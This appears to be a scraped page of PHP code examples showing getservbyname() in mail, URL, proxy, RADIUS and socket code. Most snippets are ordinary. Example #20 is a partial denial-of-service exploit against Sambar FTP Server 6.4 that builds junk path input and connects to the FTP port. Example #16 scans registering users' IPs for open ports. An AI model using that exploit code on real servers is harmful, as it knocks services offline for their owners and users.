function __construct($params)
 {
     if (isset($params['mailname'])) {
         $this->mailname = $params['mailname'];
     } else {
         if (function_exists('posix_uname')) {
             $uname = posix_uname();
             $this->mailname = $uname['nodename'];
         }
     }
     if (isset($params['port'])) {
         $this->_port = $params['port'];
     } else {
         $this->_port = getservbyname('smtp', 'tcp');
     }
     if (isset($params['timeout'])) {
         $this->timeout = $params['timeout'];
     }
     if (isset($params['verp'])) {
         $this->verp = $params['verp'];
     }
     if (isset($params['test'])) {
         $this->test = $params['test'];
     }
     if (isset($params['peardebug'])) {
         $this->test = $params['peardebug'];
     }
     if (isset($params['netdns'])) {
         $this->withNetDns = $params['netdns'];
     }
 }
Пример #2
0
function normalize_url($url)
{
    $purl = @parse_url($url);
    if (!$purl) {
        return false;
    }
    $scheme = $host = $port = $user = $pass = $path = $query = $fragment = false;
    extract($purl);
    if ($scheme) {
        $scheme = strtolower($scheme);
    }
    if ($host) {
        $host = strtolower($host);
    }
    if ($port and $port == getservbyname($scheme, 'tcp')) {
        $port = false;
    }
    foreach (array('user', 'pass', 'host', 'path') as $p) {
        if (${$p}) {
            ${$p} = preg_replace('/%[0-9a-f]{2}/ie', 'strtoupper("\\0")', ${$p});
        }
    }
    if ($path) {
        $path = _restore_allowed_chars(_remove_dot_segments($path));
    }
    if ($host && !$path) {
        $path = '/';
    }
    $newurl = $scheme . '://';
    if ($host) {
        if ($user) {
            $newurl .= $user;
            if ($pass) {
                $newurl .= ':' . $pass;
            }
            $newurl .= '@';
        }
        $newurl .= $host;
        if ($port) {
            $newurl .= ':' . $port;
        }
    }
    $newurl .= $path;
    if ($query) {
        $q = array();
        foreach (explode('&', $query) as $s) {
            if ($s and preg_match('/[^=]+=[^=]+/', $s)) {
                $q[] = $s;
            }
        }
        if ($q) {
            sort($q);
            $newurl .= '?' . implode('&', $q);
        }
    }
    if ($fragment) {
        $newurl .= '#' . $fragment;
    }
    return $newurl;
}
Пример #3
0
 public function proxify(\Erebot\URIInterface $proxyURI, \Erebot\URIInterface $nextURI)
 {
     $credentials = $proxyURI->getUserInfo();
     $host = $nextURI->getHost();
     $port = $nextURI->getPort();
     $scheme = $nextURI->getScheme();
     if ($port === null) {
         $port = getservbyname($scheme, 'tcp');
     }
     if (!is_int($port) || $port <= 0 || $port > 65535) {
         throw new \Erebot\InvalidValueException('Invalid port');
     }
     $request = "";
     $request .= sprintf("CONNECT %s:%d HTTP/1.0\r\n", $host, $port);
     $request .= sprintf("Host: %s:%d\r\n", $host, $port);
     $request .= "User-Agent: Erebot/dev-master\r\n";
     if ($credentials !== null) {
         $request .= sprintf("Proxy-Authorization: basic %s\r\n", base64_encode($credentials));
     }
     $request .= "\r\n";
     for ($written = 0, $len = strlen($request); $written < $len; $written += $fwrite) {
         $fwrite = fwrite($this->_socket, substr($request, $written));
         if ($fwrite === false) {
             throw new \Erebot\Exception('Connection closed by proxy');
         }
     }
     $line = stream_get_line($this->_socket, 4096, "\r\n");
     if ($line === false) {
         throw new \Erebot\InvalidValueException('Invalid response from proxy');
     }
     $this->_logger->debug('%(line)s', array('line' => addcslashes($line, "..")));
     $contents = array_filter(explode(" ", $line));
     switch ((int) $contents[1]) {
         case 200:
             break;
         case 407:
             throw new \Erebot\Exception('Proxy authentication required');
         default:
             throw new \Erebot\Exception('Connection rejected by proxy');
     }
     // Avoid an endless loop by limiting the number of headers.
     // No HTTP server is likely to send more than 2^10 headers anyway.
     $max = 1 << 10;
     for ($i = 0; $i < $max; $i++) {
         $line = stream_get_line($this->_socket, 4096, "\r\n");
         if ($line === false) {
             throw new \Erebot\InvalidValueException('Invalid response from proxy');
         }
         if ($line == "") {
             break;
         }
         $this->_logger->debug('%(line)s', array('line' => addcslashes($line, "..")));
     }
     if ($i === $max) {
         throw new \Erebot\InvalidValueException('Endless loop detected in proxy response');
     }
 }
function RADIUS_AUTHENTICATION($username, $password)
{
    global $debug;
    global $SERVER_ADDR;
    $radiushost = "";
    $sharedsecret = "";
    $suffix = "";
    init_radiusconfig(&$radiushost, &$radiusport, &$sharedsecret, &$suffix);
    // check your /etc/services. Some radius servers
    // listen on port 1812, some on 1645.
    if ($radiusport == 0) {
        $radiusport = getservbyname("radius", "udp");
    }
    $nasIP = explode(".", $SERVER_ADDR);
    $ip = gethostbyname($radiushost);
    // 17 is UDP, formerly known as PROTO_UDP
    $sock = socket_create(AF_INET, SOCK_DGRAM, 17);
    $retval = socket_connect($sock, $ip, $radiusport);
    if (!preg_match("/@/", $username)) {
        $username .= $suffix;
    }
    if ($debug) {
        echo "<br>radius-port: {$radiusport}<br>radius-host: {$radiushost}<br>username: {$username}<br>suffix: {$suffix}<hr>\n";
    }
    $RA = pack("CCCCCCCCCCCCCCCC", 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255, 1 + rand() % 255);
    $encryptedpassword = Encrypt($password, $sharedsecret, $RA);
    $length = 4 + 16 + 6 + 2 + strlen($username) + 2 + strlen($encryptedpassword) + 6 + 6;
    // nasPort
    $thisidentifier = rand() % 256;
    //          v   v v     v   v   v     v     v
    $data = pack("CCCCa*CCCCCCCCa*CCa*CCCCCCCCCCCC", 1, $thisidentifier, $length / 256, $length % 256, $RA, 6, 6, 0, 0, 0, 1, 1, 2 + strlen($username), $username, 2, 2 + strlen($encryptedpassword), $encryptedpassword, 4, 6, $nasIP[0], $nasIP[1], $nasIP[2], $nasIP[3], 5, 3, 0, 0, 0, 0);
    socket_write($sock, $data, $length);
    if ($debug) {
        echo "<br>writing {$length} bytes<hr>\n";
    }
    //
    // Wait at most five seconds for the answer. Thanks to
    // Michael Long <*****@*****.**> for his remark about this.
    //
    $set = socket_fd_alloc();
    socket_fd_zero($set);
    socket_fd_set($set, $sock);
    socket_select($set, null, null, 5);
    if (!socket_fd_isset($set, $sock)) {
        echo "No answer from radius server, aborting\n";
        exit(0);
    }
    socket_fd_free($set);
    $readdata = socket_read($sock, 1);
    socket_close($sock);
    return ord($readdata);
    // 2 -> Access-Accept
    // 3 -> Access-Reject
    // See RFC2138 for this.
}
Пример #5
0
 /**
  * Get Host, falls back to Effective Request URI if not found
  *
  * @return string
  */
 public function getWithUriFallback()
 {
     if (($get = $this->export()) !== null) {
         // Host defined by the Host directive
         return $get;
     } elseif ($this->base !== $this->effective && parse_url($this->base, PHP_URL_HOST) === ($host = parse_url($this->effective, PHP_URL_HOST))) {
         // Host is the same, but Scheme or Port is different
         return getservbyname($scheme = parse_url($this->effective, PHP_URL_SCHEME), 'tcp') === parse_url($this->effective, PHP_URL_PORT) ? $scheme . '://' . $host : $this->effective;
     }
     // Return Host name only
     return parse_url($this->effective, PHP_URL_HOST);
 }
Пример #6
0
 /**
  * Is listed?
  *
  * @param string $uri
  * @return bool
  */
 public function isListed($uri)
 {
     $uriParser = new UriParser($uri);
     $uri = $uriParser->encode();
     $parts = ['scheme' => parse_url($uri, PHP_URL_SCHEME), 'host' => parse_url($uri, PHP_URL_HOST)];
     $parts['port'] = is_int($port = parse_url($uri, PHP_URL_PORT)) ? $port : getservbyname($parts['scheme'], 'tcp');
     $cases = [$parts['host'], $parts['host'] . ':' . $parts['port'], $parts['scheme'] . '://' . $parts['host'], $parts['scheme'] . '://' . $parts['host'] . ':' . $parts['port']];
     foreach ($this->host as $host) {
         if (in_array($host, $cases)) {
             return true;
         }
     }
     return false;
 }
 public function isServerSecure()
 {
     // Some of these settings are Apache 2.4 specific.
     // Checks for https on the server and aginst the load
     // balancer.
     $httpsPort = intval(getservbyname('https', 'tcp'));
     $requestSchemeHttps = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] === "https" : null;
     $serverHttps = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off';
     $serverPortSecure = isset($_SERVER['SERVER_PORT']) ? $httpsPort === $_SERVER['SERVER_PORT'] : null;
     $forwardHttps = isset($_SERVER['HTTP_X_FORWARDED_PORT']) ? $_SERVER['HTTP_X_FORWARDED_PORT'] === 'https' : null;
     $forwardProtocolHttps = isset($_SERVER['HTTP_X_FORWARDED_PROTO']) ? $_SERVER['HTTP_X_FORWARDED_PROTO'] === "https" : null;
     if ($requestSchemeHttps || $serverHttps || $serverPortSecure || $forwardHttps || $forwardProtocolHttps) {
         return true;
     }
     return false;
 }
Пример #8
0
 /**
  * Tries to connect to the appropriate port
  *
  * @return boolean Returns true or false
  * @since 2014-11-17
  * @author Matthew Daly matthewbdaly@gmail.com
  */
 public function checkSite($url)
 {
     // Break up the URL data
     $url_data = parse_url($url);
     $scheme = $url_data['scheme'];
     $host = $url_data['host'];
     // Get port for URL
     $port = getservbyname($scheme, 'tcp');
     // Try to connect to it
     $fp = @fsockopen($host, $port, $errno, $errstr, 10);
     $status = $fp ? true : false;
     if ($fp) {
         fclose($fp);
     }
     unset($fp);
     // Return response
     return $status;
 }
Пример #9
0
 /**
  * @return string#
  */
 public function getURL() : string
 {
     $url = '';
     $url .= $this->parts['scheme'] ? $this->parts['scheme'] . ':' : '';
     $url .= '//';
     $url .= $this->parts['user'] ?: '';
     $url .= $this->parts['pass'] ? ':' . $this->parts['pass'] : '';
     $url .= $this->parts['user'] || $this->parts['pass'] ? '@' : '';
     $url .= $this->parts['host'];
     if ($this->parts['port']) {
         $port = @getservbyname($this->parts['scheme'], 'tcp');
         $port = $port !== false ? $port : @getservbyname($this->parts['scheme'], 'udp');
         $url .= $port != $this->parts['port'] ? ':' . $this->parts['port'] : '';
     }
     $url .= '/' . ltrim($this->parts['path'], '/');
     $url .= $this->parts['query'] ? '?' . $this->parts['query'] : '';
     $url .= $this->parts['fragment'] ? '#' . $this->parts['fragment'] : '';
     return $url;
 }
Пример #10
0
 private function GetManagesieve()
 {
     $this->app = rcmail::get_instance();
     // Add include path for internal classes
     $include_path = $this->app->plugins->dir . 'managesieve/lib' . PATH_SEPARATOR;
     $include_path .= ini_get('include_path');
     set_include_path($include_path);
     if (empty($this->params['port'])) {
         $this->params['port'] = getservbyname('sieve', 'tcp');
         if (empty($this->params['port'])) {
             $this->params['port'] = "4190";
         }
     }
     // try to connect to managesieve server
     $this->managesieve = new rcube_sieve(method_exists($this->app, get_user_name) ? $this->app->get_user_name() : $_SESSION['username'], method_exists($this->app, get_user_password) ? $this->app->get_user_password() : $this->app->decrypt($_SESSION['password']), $this->params['host'], $this->params['port'], null, $this->params['usetls']);
     if ($error = $this->managesieve->error()) {
         $this->ShowError($error);
     }
     return $error;
 }
Пример #11
0
            $pconfig['address'] = $a_aliases[$id]['aliasurl'];
        }
    }
}
if ($_POST) {
    unset($input_errors);
    $vertical_bar_err_text = gettext("Vertical bars (|) at start or end, or double in the middle of descriptions not allowed. Descriptions have been cleaned. Check and save again.");
    /* input validation */
    $reqdfields = explode(" ", "name");
    $reqdfieldsn = array(gettext("Name"));
    do_input_validation($_POST, $reqdfields, $reqdfieldsn, $input_errors);
    $x = is_validaliasname($_POST['name']);
    if (!isset($x)) {
        $input_errors[] = gettext("Reserved word used for alias name.");
    } else {
        if ($_POST['type'] == "port" && (getservbyname($_POST['name'], "tcp") || getservbyname($_POST['name'], "udp"))) {
            $input_errors[] = gettext("Reserved word used for alias name.");
        } else {
            if (is_validaliasname($_POST['name']) == false) {
                $input_errors[] = gettext("The alias name must be less than 32 characters long, may not consist of only numbers, and may only contain the following characters") . " a-z, A-Z, 0-9, _.";
            }
        }
    }
    /* check for name conflicts */
    foreach ($a_aliases as $key => $alias) {
        if ($alias['name'] == $_POST['name'] && (empty($a_aliases[$id]) || $key != $id)) {
            $input_errors[] = gettext("An alias with this name already exists.");
            break;
        }
    }
    /* Check for reserved keyword names */
Пример #12
0
 /**
  * Handles a proxied grab request
  *
  * @return bool true to end the response, false to continue trying to handle it
  * @access private
  */
 function _iframeGrabProxy()
 {
     if (!isset($_REQUEST['Iframe_XHR_id'])) {
         trigger_error('Invalid iframe ID');
         return false;
     }
     $this->_iframe = $_REQUEST['Iframe_XHR_id'];
     $this->_payload = isset($_REQUEST['Iframe_XHR_data']) ? $_REQUEST['Iframe_XHR_data'] : '';
     $url = urldecode($_GET['px']);
     $url_parts = parse_url($url);
     $urlregex = '#^https?://#i';
     if (!preg_match($urlregex, $url) || $url_parts['host'] != $_SERVER['HTTP_HOST']) {
         trigger_error('Invalid URL for grab proxy');
         return true;
     }
     $method = isset($_REQUEST['Iframe_XHR_HTTP_method']) ? strtoupper($_REQUEST['Iframe_XHR_HTTP_method']) : 'GET';
     // validate method
     if ($method != 'GET' && $method != 'POST') {
         trigger_error('Invalid grab URL');
         return true;
     }
     // validate headers
     $headers = '';
     if (isset($_REQUEST['Iframe_XHR_headers'])) {
         foreach ($_REQUEST['Iframe_XHR_headers'] as $header) {
             if (strpos($header, "\r") !== false || strpos($header, "\n") !== false) {
                 trigger_error('Invalid grab header');
                 return true;
             }
             $headers .= $header . "\r\n";
         }
     }
     // tries to make request with file_get_contents()
     if (ini_get('allow_url_fopen') && version_compare(phpversion(), '5.0.0' . '>=')) {
         $opts = array($url_parts['scheme'] => array('method' => $method, 'headers' => $headers, 'content' => $this->_payload));
         $ret = @file_get_contents($url, false, stream_context_create($opts));
         if (!empty($ret)) {
             $this->_sendResponse($ret);
             return true;
         }
     }
     // tries to make request using the curl extension
     if (function_exists('curl_setopt')) {
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, $url);
         curl_setopt($ch, CURLOPT_HEADER, $headers);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
         $ret = curl_exec($ch);
         if ($ret !== false) {
             curl_close($ch);
             $this->_sendResponse($ret);
             return true;
         }
     }
     if (isset($url_parts['port'])) {
         $port = $url_parts['port'];
     } else {
         $port = getservbyname(strtolower($url_parts['scheme']), 'tcp');
         if ($port === false) {
             trigger_error('Grab proxy: Unknown port or service, defaulting to 80', E_USER_WARNING);
             $port = 80;
         }
     }
     if (!isset($url_parts['path'])) {
         $url_parts['path'] = '/';
     }
     if (!empty($url_parts['query'])) {
         $url_parts['path'] .= '?' . $url_parts['query'];
     }
     $request = "{$method} {$url_parts['path']} HTTP/1.0\r\n" . "Host: {$url['host']}\r\n" . "Connection: close\r\n" . "{$headers}\r\n";
     // tries to make request using the socket functions
     $fp = fsockopen($_SERVER['HTTP_HOST'], $port, $errno, $errstr, 4);
     if ($fp) {
         fputs($fp, $request);
         $ret = '';
         $done_headers = false;
         while (!feof($fp)) {
             $ret .= fgets($fp, 2048);
             if ($done_headers || ($contentpos = strpos($ret, "\r\n\r\n")) === false) {
                 continue;
             }
             $done_headers = true;
             $ret = substr($ret, $contentpos + 4);
         }
         fclose($fp);
         $this->_sendResponse($ret);
         return true;
     }
     // tries to make the request using the socket extension
     $host = gethostbyname($url['host']);
     if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0 || ($connected = socket_connect($socket, $host, $port)) < 0 || ($written = socket_write($socket, $request)) < strlen($request)) {
         trigger_error('Grab proxy failed: ' . socket_strerror($socket));
         return true;
     }
     $ret = '';
     $done_headers = false;
     while ($out = socket_read($socket, 2048)) {
         $ret .= $out;
         if ($done_headers || ($contentpos = strpos($ret, "\r\n\r\n")) === false) {
             continue;
         }
         $done_headers = true;
         $ret = substr($ret, $contentpos + 4);
     }
     socket_close($socket);
     $this->_sendResponse($ret);
     return true;
 }
Пример #13
0
 /**
  * @param array $params  Additional options:
  *   - debug: (boolean) Activate SMTP debug mode?
  *            DEFAULT: false
  *   - mailname: (string) The name of the local mail system (a valid
  *               hostname which matches the reverse lookup)
  *               DEFAULT: Auto-determined
  *   - netdns: (boolean) Use PEAR:Net_DNS2 (true) or the PHP builtin
  *             getmxrr().
  *             DEFAULT: true
  *   - port: (integer) Port.
  *           DEFAULT: Auto-determined
  *   - test: (boolean) Activate test mode?
  *           DEFAULT: false
  *   - timeout: (integer) The SMTP connection timeout (in seconds).
  *              DEFAULT: 10
  *   - verp: (boolean) Whether to use VERP.
  *           If not a boolean, the string value will be used as the VERP
  *           separators.
  *           DEFAULT: false
  *   - vrfy: (boolean) Whether to use VRFY.
  *           DEFAULT: false
  */
 public function __construct(array $params = array())
 {
     /* Try to find a valid mailname. */
     if (!isset($params['mailname']) && function_exists('posix_uname')) {
         $uname = posix_uname();
         $params['mailname'] = $uname['nodename'];
     }
     if (!isset($params['port'])) {
         $params['port'] = getservbyname('smtp', 'tcp');
     }
     $this->_params = array_merge(array('debug' => false, 'mailname' => 'localhost', 'netdns' => true, 'port' => 25, 'test' => false, 'timeout' => 10, 'verp' => false, 'vrfy' => false), $params);
     /* SMTP requires CRLF line endings. */
     $this->sep = "\r\n";
 }
Пример #14
0
 /** 
  * Returns a normalized Net_URL2 instance.
  *
  * @return  Net_URL2
  */
 public function normalize()
 {
     // See RFC 3886, section 6
     // Schemes are case-insensitive
     if ($this->_scheme) {
         $this->_scheme = strtolower($this->_scheme);
     }
     // Hostnames are case-insensitive
     if ($this->_host) {
         $this->_host = strtolower($this->_host);
     }
     // Remove default port number for known schemes (RFC 3986, section 6.2.3)
     if ($this->_port && $this->_scheme && $this->_port == getservbyname($this->_scheme, 'tcp')) {
         $this->_port = false;
     }
     // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
     foreach (array('_userinfo', '_host', '_path') as $part) {
         if ($this->{$part}) {
             $this->{$part} = preg_replace('/%[0-9a-f]{2}/ie', 'strtoupper("\\0")', $this->{$part});
         }
     }
     // Path segment normalization (RFC 3986, section 6.2.2.3)
     $this->_path = self::removeDotSegments($this->_path);
     // Scheme based normalization (RFC 3986, section 6.2.3)
     if ($this->_host && !$this->_path) {
         $this->_path = '/';
     }
 }
Пример #15
0
 /**
  * Loads configuration, initializes plugin (including sieve connection)
  */
 function start($mode = null)
 {
     // register UI objects
     $this->rc->output->add_handlers(array('filterslist' => array($this, 'filters_list'), 'filtersetslist' => array($this, 'filtersets_list'), 'filterframe' => array($this, 'filter_frame'), 'filterform' => array($this, 'filter_form'), 'filtersetform' => array($this, 'filterset_form')));
     // Get connection parameters
     $host = $this->rc->config->get('managesieve_host', 'localhost');
     $port = $this->rc->config->get('managesieve_port');
     $tls = $this->rc->config->get('managesieve_usetls', false);
     $host = rcube_utils::parse_host($host);
     $host = rcube_utils::idn_to_ascii($host);
     // remove tls:// prefix, set TLS flag
     if (($host = preg_replace('|^tls://|i', '', $host, 1, $cnt)) && $cnt) {
         $tls = true;
     }
     if (empty($port)) {
         $port = getservbyname('sieve', 'tcp');
         if (empty($port)) {
             $port = self::PORT;
         }
     }
     $plugin = $this->rc->plugins->exec_hook('managesieve_connect', array('user' => $_SESSION['username'], 'password' => $this->rc->decrypt($_SESSION['password']), 'host' => $host, 'port' => $port, 'usetls' => $tls, 'auth_type' => $this->rc->config->get('managesieve_auth_type'), 'disabled' => $this->rc->config->get('managesieve_disabled_extensions'), 'debug' => $this->rc->config->get('managesieve_debug', false), 'auth_cid' => $this->rc->config->get('managesieve_auth_cid'), 'auth_pw' => $this->rc->config->get('managesieve_auth_pw')));
     // try to connect to managesieve server and to fetch the script
     $this->sieve = new rcube_sieve($plugin['user'], $plugin['password'], $plugin['host'], $plugin['port'], $plugin['auth_type'], $plugin['usetls'], $plugin['disabled'], $plugin['debug'], $plugin['auth_cid'], $plugin['auth_pw']);
     if (!($error = $this->sieve->error())) {
         // Get list of scripts
         $list = $this->list_scripts();
         // reset current script when entering filters UI (#1489412)
         if ($this->rc->action == 'plugin.managesieve') {
             $this->rc->session->remove('managesieve_current');
         }
         if ($mode != 'vacation') {
             if (!empty($_GET['_set']) || !empty($_POST['_set'])) {
                 $script_name = rcube_utils::get_input_value('_set', rcube_utils::INPUT_GPC, true);
             } else {
                 if (!empty($_SESSION['managesieve_current'])) {
                     $script_name = $_SESSION['managesieve_current'];
                 }
             }
         }
         if ($script_name === null || $script_name === '') {
             // get (first) active script
             if (!empty($this->active[0])) {
                 $script_name = $this->active[0];
             } else {
                 if ($list) {
                     $script_name = $list[0];
                 } else {
                     // if script not exists build default script contents
                     $script_file = $this->rc->config->get('managesieve_default');
                     $script_name = $this->rc->config->get('managesieve_script_name');
                     if (empty($script_name)) {
                         $script_name = 'roundcube';
                     }
                     if ($script_file && is_readable($script_file)) {
                         $content = file_get_contents($script_file);
                     }
                     // add script and set it active
                     if ($this->sieve->save_script($script_name, $content)) {
                         $this->activate_script($script_name);
                         $this->list[] = $script_name;
                     }
                 }
             }
         }
         if ($script_name) {
             $this->sieve->load($script_name);
         }
         $error = $this->sieve->error();
     }
     // finally set script objects
     if ($error) {
         switch ($error) {
             case SIEVE_ERROR_CONNECTION:
             case SIEVE_ERROR_LOGIN:
                 $this->rc->output->show_message('managesieve.filterconnerror', 'error');
                 rcube::raise_error(array('code' => 403, 'type' => 'php', 'file' => __FILE__, 'line' => __LINE__, 'message' => "Unable to connect to managesieve on {$host}:{$port}"), true, false);
                 break;
             default:
                 $this->rc->output->show_message('managesieve.filterunknownerror', 'error');
                 break;
         }
         // reload interface in case of possible error when specified script wasn't found (#1489412)
         if ($script_name !== null && !empty($list) && !in_array($script_name, $list)) {
             $this->rc->output->command('reload', 500);
         }
         // to disable 'Add filter' button set env variable
         $this->rc->output->set_env('filterconnerror', true);
         $this->script = array();
     } else {
         $this->exts = $this->sieve->get_extensions();
         $this->init_script();
         $this->rc->output->set_env('currentset', $this->sieve->current);
         $_SESSION['managesieve_current'] = $this->sieve->current;
     }
     return $error;
 }
 static function getRegSpamScore(&$score, array $user, $verbose, $debug, $model)
 {
     $o = XenForo_Application::getOptions();
     if (trim($o->TPUDetectSpamRegOpenPort) != '') {
         if (!function_exists('socket_create')) {
             $model->logScore('PHP function socket_create() not available, you need the PHP socket extension for open port detection to work', 0);
             return;
         }
         $entries = array();
         $socks = array();
         foreach (explode("\n", $o->TPUDetectSpamRegOpenPort) as $entry) {
             $entry = explode('|', trim($entry));
             if (count($entry) != 2) {
                 continue;
             }
             list($points, $port) = $entry;
             if (!is_numeric($port)) {
                 $port = getservbyname($port, 'tcp');
             }
             if ($port > 0) {
                 socket_clear_error();
                 if (self::isIPv6($user['ip'])) {
                     $sock = socket_create(AF_INET6, SOCK_STREAM, SOL_TCP);
                 } else {
                     $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                 }
                 socket_set_nonblock($sock);
                 @socket_connect($sock, $user['ip'], $port);
                 $errno = socket_last_error();
                 if ($errno == SOCKET_EALREADY || $errno == SOCKET_EINPROGRESS || $errno == 0) {
                     $socks[] = $sock;
                 } else {
                     socket_close($sock);
                 }
                 $entries[] = array('points' => $points, 'port' => $port, 'open' => false);
             }
         }
         $start = microtime(true);
         while ($socks && microtime(true) - $start < self::TIMEOUT) {
             $null = null;
             $write = $socks;
             socket_select($null, $write, $null, 1);
             foreach ($write as $k => $sock) {
                 $errno = socket_get_option($sock, SOL_SOCKET, SO_ERROR);
                 if ($errno == 0) {
                     $entries[$k]['open'] = true;
                 } elseif ($errno == SOCKET_ECONNREFUSED) {
                 } elseif ($errno == SOCKET_ETIMEDOUT) {
                 } else {
                     $errmsg = socket_strerror($errno);
                 }
                 unset($socks[$k]);
                 socket_close($sock);
             }
         }
         foreach ($entries as $entry) {
             if ($entry['open']) {
                 $model->logScore('tpu_detectspamreg_port_fail', $entry['points'], array('port' => $entry['port']));
                 $points = $entry['points'];
                 if (is_numeric($points)) {
                     $score['points'] += $points;
                 } else {
                     $score[$points] = true;
                 }
             } else {
                 if ($debug) {
                     $model->logScore('tpu_detectspamreg_port_ok', 0, array('port' => $entry['port']));
                 }
             }
         }
     }
 }
Пример #17
0
 /**
  * Normalizes the URL
  *
  * See RFC 3986, Section 6.  Normalization and Comparison
  *
  * @link https://tools.ietf.org/html/rfc3986#section-6
  *
  * @return void
  */
 public function normalize()
 {
     // See RFC 3986, section 6
     // Scheme is case-insensitive
     if ($this->_scheme) {
         $this->_scheme = strtolower($this->_scheme);
     }
     // Hostname is case-insensitive
     if ($this->_host) {
         $this->_host = strtolower($this->_host);
     }
     // Remove default port number for known schemes (RFC 3986, section 6.2.3)
     if ('' === $this->_port || $this->_port && $this->_scheme && $this->_port == getservbyname($this->_scheme, 'tcp')) {
         $this->_port = false;
     }
     // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
     // Normalize percentage-encoded unreserved characters (section 6.2.2.2)
     $fields = array(&$this->_userinfo, &$this->_host, &$this->_path, &$this->_query, &$this->_fragment);
     foreach ($fields as &$field) {
         if ($field !== false) {
             $field = $this->_normalize("{$field}");
         }
     }
     unset($field);
     // Path segment normalization (RFC 3986, section 6.2.2.3)
     $this->_path = self::removeDotSegments($this->_path);
     // Scheme based normalization (RFC 3986, section 6.2.3)
     if (false !== $this->_host && '' === $this->_path) {
         $this->_path = '/';
     }
     // path should start with '/' if there is authority (section 3.3.)
     if (strlen($this->getAuthority()) && strlen($this->_path) && $this->_path[0] !== '/') {
         $this->_path = '/' . $this->_path;
     }
 }
Пример #18
0
 /**
  * Get port that a certain service uses.
  *
  * @param string $service  Name of the service
  * @param string $protocol Protocol (Is either tcp or udp. Default is tcp.)
  *
  * @access public
  *
  * @return integer Internet port which corresponds to $service
  */
 public function getPort($service)
 {
     return @getservbyname($service, strtolower($this->typePort));
 }
Пример #19
0
<?php

// getservbyname(服务名,'tcp/udp') 通过服务名获得端口号
echo "HTTP`s default port number is:" . getservbyname("http", 'tcp');
echo '<hr>';
// getservbyport(端口号,'tcp/udp') 通过端口号获得服务名
echo "Port 80`s default service is:" . getservbyport(80, 'tcp');
echo '<hr>';
// fsockopen() 函数在端口port上建立与target所表示资源的连接
// 在端口 80 上与www.apetdog.com建立连接
$http = fsockopen("www.paiduoge.com", 80);
// 给服务器发送一个请求
$req = "GET / HTTP/1.1\r\n";
$req .= "Host:www.paiduoge.com\r\n";
$req .= "Connection:Close\r\n\r\n";
// fputs() 写入文件,可用于二进制文件
fputs($http, $req);
// 输出请求结果
// feof()测试文件指针是否到了文件结束的位置 fopen()或fsockopen()
while (!feof($http)) {
    echo fgets($http, 1024);
}
// 关闭连接
fclose($http);
Пример #20
0
<?php

# Sambar FTP Server 6.4 SIZE Denial Of Service
# by rgod
# mail: retrog at alice dot it
# site: http://retrogod.altervista.org
# tested on WinXP sp2
error_reporting(E_ALL);
$service_port = getservbyname('ftp', 'tcp');
$address = gethostbyname('192.168.1.3');
$user = "******";
$pass = "******";
$junk = "";
for ($i = 1; $i <= 160; $i++) {
    $junk .= "./";
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
    echo "socket_create() failed:\n reason: " . socket_strerror($socket) . "\n";
} else {
    echo "OK.\n";
}
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
    echo "socket_connect() failed:\n reason: ({$result}) " . socket_strerror($result) . "\n";
} else {
    echo "OK.\n";
}
$out = socket_read($socket, 240);
echo $out;
$in = "USER " . $user . "\r\n";
Пример #21
0
 /**
  * eduwitterConnect
  * 
  * parameters
  *   url -- connection url
  *   method -- 'GET', 'POST' or 'DELETE'
  *   params -- request parameters oauth and post-field
  * 
  * return
  *   response of request
  */
 protected function eduwitterConnect($prepare)
 {
     /**
      * collecting datas to open socket
      */
     $pu = parse_url($prepare->getUrl());
     $port = getservbyname($pu['scheme'], 'tcp');
     $path = $pu['path'] . (isset($pu['query']) ? "?" . $pu['query'] : "");
     $fsock_host = ($port == 443 ? 'tls://' : '') . $pu['host'];
     /**
      * opening socket and recieving
      */
     $fp = fsockopen($fsock_host, $port);
     if (!$fp) {
         die("Can not open socket\n");
     }
     fwrite($fp, $prepare->getMethod() . " {$path} HTTP/1.1\r\n");
     fwrite($fp, "Host: {$pu['host']}\r\n");
     fwrite($fp, $prepare->getHeaderFields() . "\r\n");
     fwrite($fp, "\r\n");
     fwrite($fp, $prepare->getBodyField());
     $buf = "";
     while (!feof($fp)) {
         $buf .= fgets($fp);
     }
     fclose($fp);
     /**
      * end of connection and parse response data
      */
     /* split response to header and body */
     $split_pos = strpos($buf, "\r\n\r\n");
     $response_header = substr($buf, 0, $split_pos);
     $response_body = substr($buf, $split_pos + 4);
     /* get http status code */
     preg_match("/^HTTP\\/[\\d\\.]+ (\\d+) (.+)/", $response_header, $m);
     $this->last_status_code = $m[1];
     $this->last_status_reason = trim($m[2]);
     // trim word(\r)
     return $response_body;
 }
Пример #22
0
#!/usr/bin/php -q
<?php 
error_reporting(E_ALL);
echo '<h2>TCP/IP Connection</h2>\\n';
$service_port = getservbyname('www', 'tcp');
$address = gethostbyname('localhost');
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK. \n";
}
echo "Attempting to connect to '{$address}' on port '{$service_port}'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ({$result}) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}
$in = "GET / HTTP/1.1\r\n";
//$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: localhost\r\n";
$in .= "Connection: Close\r\n\r\n";
$in .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
$in .= "Accept-Encoding: gzip, deflate, sdch";
$out = '';
echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";
echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
Пример #23
0
